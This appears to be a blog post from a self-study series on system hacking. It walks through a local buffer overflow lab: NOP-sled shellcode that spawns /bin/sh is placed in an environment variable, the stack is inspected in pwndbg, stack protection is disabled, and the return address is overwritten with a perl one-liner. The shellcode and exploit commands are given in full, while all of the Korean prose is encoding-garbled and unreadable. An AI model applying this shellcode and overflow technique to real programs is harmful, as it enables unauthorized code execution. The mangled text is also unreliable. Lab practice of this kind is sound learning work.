[์์คํ ํดํน] ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ํดํน ์ค์ต (1)
https://youtu.be/ZRHncXwedZ8 ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ํดํน ์ค์ต์ ์ ํ๋ธ๋ฅผ ๋ณด๋ฉฐ ๊ณต๋ถํ๋ค. #nano overflow.c ํ๋์ ์์ค์ฝ๋๋ฅผ ์์ฑํ๋ค. #include int main(int argc, char *argv[]){ char buf[16]; if(argc!=2) return -1; strcpy
dangsdangs.tistory.com
์ด์ ๊ธ์ ์ด์ด์ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ํดํน ์ค์ต์ ๊ณ์ ๊ณต๋ถํ๋ค.
ํด๋น ์ ํ๋ธ ์์์ ๋ณด๋ฉด์ ์ค์ตํด๋ณด๋๋ก ํ๋ค.
#export SHELLCODE=`perl -e 'print "\x90" x 2000, "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
ํ๊ฒฝ๋ณ์์ ์ ์ฝ๋๋ฅผ ๋ฃ์ด๋ณธ๋ค.
ํ๊ฒฝ๋ณ์ ์์ฒด์ ์ ์ฝ๋๋ฅผ ์ฌ๋ ๊ฒ์ธ๋ฐ, ์ต์คํ๋ก์์ ๋ ์ฝ๊ฒ ํ๊ธฐ ์ํด
์์ฝ๋ ์์ ์์์ ๋ฌธ์๋ฅผ ๋ฃ๋๋ค.
"\x90" ์ด๋ผ๋ NOP๋ฅผ ์ด 2000๊ฐ ๋ฃ๋๋ค.
๋ค์ ์ ์ฝ๋๋
[์์คํ ํดํน] ์ ์ฝ๋ ์ ์ ๋ฐ ์ต์คํ๋ก์ ์ค์ต
์ฐธ๊ณ : https://youtu.be/eJWlg-VoCBg ์ ํ๋ธ๋ฅผ ๋ณด๋ฉด์, ์ ์ฝ๋๋ฅผ ์ ์ํ๊ณ , ์ต์คํ๋ก์์ ์ค์ตํด๋ณด๋ ค๊ณ ํ๋ค. ์ ์ฝ๋ ๋ฐ ์ต์คํ๋ก์์ด๋ ์ฉ์ด๋ ๋ณด์๊ธฐ์ฌ ์ค๋น์ ๋ง์ด ๋ค์ด๋ดค๋ค. ์ ์ฝ๋๋ ๋ช ๋ น ์ ๊ณต
dangsdangs.tistory.com
#gdb ./overflow
๋๋ฒ๊น ์ ํด๋ณด๋๋ก ํ๋ค.
pwndbg> break * main
์คํ์ด ๋๋ฉด breakpoint๋ฅผ main์๋ค๊ฐ ๊ฑด๋ค.
pwndbg> run
๊ทธ ํ run ์ ์ ๋ ฅํด ์คํ์ ํ๋ค.
pwndbg> x/100a $rsp

ํด๋น ๋ช ๋ น์ด๋ฅผ ํตํด rsp ๋ ์ง์คํฐ๋ฅผ ํ์ธํด๋ณด๋ฉด
9090.. ์ด ๋ด๊ฒจ์๋ ๋ถ๋ถ์ ์ ์ ์๋ค.
0x90๋ค์ด ๋๋๋ฉด ๊ทธ ๋ค์ ์์ฑํ๋ ์ ์ฝ๋๊ฐ ๋ด๊ฒจ์๋ค.
์ผ์ชฝ์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ๋ณด๊ณ , ํด๋น ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ก ๋ฆฌํดํ๋๋ก ๋ง๋ค์ด ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ด์ฉํ ์ ์๋ค.
pwndbg>quit
pwndbg๋ฅผ ์ข ๋ฃํ๋๋ก ํ๋ค.
# gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack overflow.c -o overflow
๊ทธ ํ ์คํ ํ๋กํ ํฐ๋ฅผ ์ค์ต์ ์ํด ๊บผ์ฃผ๋๋ก ํ๋ค.

perl์ ์ด์ฉํด ์๋์ผ๋ก ๋งค๊ฐ๋ณ์๋ฅผ ๋ฃ์ด์ฃผ๋๋ก ํ๊ณ ,
์์ ๋ฒํผ ์ค 0x7f..ef88์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ์ด์ฉํด ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์คํํ๋๋ก ํ๋ค.
๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ ์ฌ๋๋ง๋ค ๋ค๋ฅผ ์ ์๋ค๊ณ ์๊ฐํ๋ค.
# ./overflow `perl -e 'print "X" x 24, "\x88\xef\xff\xff\xff\x7f"'`
ํด๋น ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ๋ค์์๋ถํฐ ๋์๋ฆฌ์ ๋ฃ์ด์ฃผ๋ฉด,

์ฑ๊ณต์ ์ผ๋ก ์์ ๋ฐ๋ผ ์ ์๋ค.
'ํ๋ก์ ํธ > ์์คํ ํดํน' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [์์คํ ํดํน] ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ํดํน ์ค์ต (1) (0) | 2023.01.25 |
|---|---|
| [์์คํ ํดํน] ์ ์ฝ๋ ์ ์ ๋ฐ ์ต์คํ๋ก์ ์ค์ต (0) | 2023.01.20 |
| [์์คํ ํดํน] ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณ ํผ๋ผ๋ฏธ๋ ๋ง๋ค๊ธฐ (2) (0) | 2023.01.19 |
| [์์คํ ํดํน] ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณ ํผ๋ผ๋ฏธ๋ ๋ง๋ค๊ธฐ (1) (0) | 2023.01.18 |
| [์์คํ ํดํน] ๋๋ฒ๊น (0) | 2023.01.17 |